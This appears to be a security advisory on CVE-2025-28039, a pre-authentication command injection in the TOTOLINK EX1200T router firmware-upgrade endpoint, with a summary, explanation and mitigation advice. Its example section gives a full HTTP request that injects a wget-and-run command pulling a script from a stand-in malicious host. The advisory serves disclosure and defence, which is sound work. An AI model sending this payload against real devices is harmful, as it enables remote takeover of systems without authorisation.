CVE-2025-28039: Pre-Auth Remote Command Execution Vulnerability in TOTOLINK EX1200T

Overview

The cybersecurity landscape is fraught with evolving threats and vulnerabilities, one of which is the recently discovered CVE-2025-28039. This vulnerability affects TOTOLINK EX1200T V4.1.2cu.5232_B20210713 and could potentially lead to a pre-auth remote command execution. As such, it is a significant concern for network administrators, cybersecurity professionals, and users of TOTOLINK EX1200T routers.
This vulnerability matters because it can lead to system compromise and data leakage. Given the severity score of 9.8, it poses a critical risk that requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-28039
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK EX1200T | V4.1.2cu.5232_B20210713

How the Exploit Works

The exploit takes advantage of a vulnerability in the setUpgradeFW function through the FileName parameter of TOTOLINK EX1200T. Specifically, an attacker can execute arbitrary commands remotely without requiring authentication. This is possible because of the lack of proper input validation and sanitization in the FileName parameter used in firmware upgrades.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /setUpgradeFW HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "FileName": "; wget http://malicious.com/malicious_script.sh -O /tmp/malicious_script.sh; sh /tmp/malicious_script.sh;" }

This code sends a POST request to the vulnerable endpoint, injecting a command into the FileName parameter. The injected command downloads a malicious script from a remote server and executes it on the target system, thus potentially compromising it.

Mitigation Measures

The recommended mitigation measure for CVE-2025-28039 is to apply the vendor patch as soon as it’s available. In the meantime, network administrators can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures to help protect against potential exploits. Regularly updating and patching your system, as well as employing strong security measures such as intrusion detection systems and firewalls, can help protect your network from such vulnerabilities.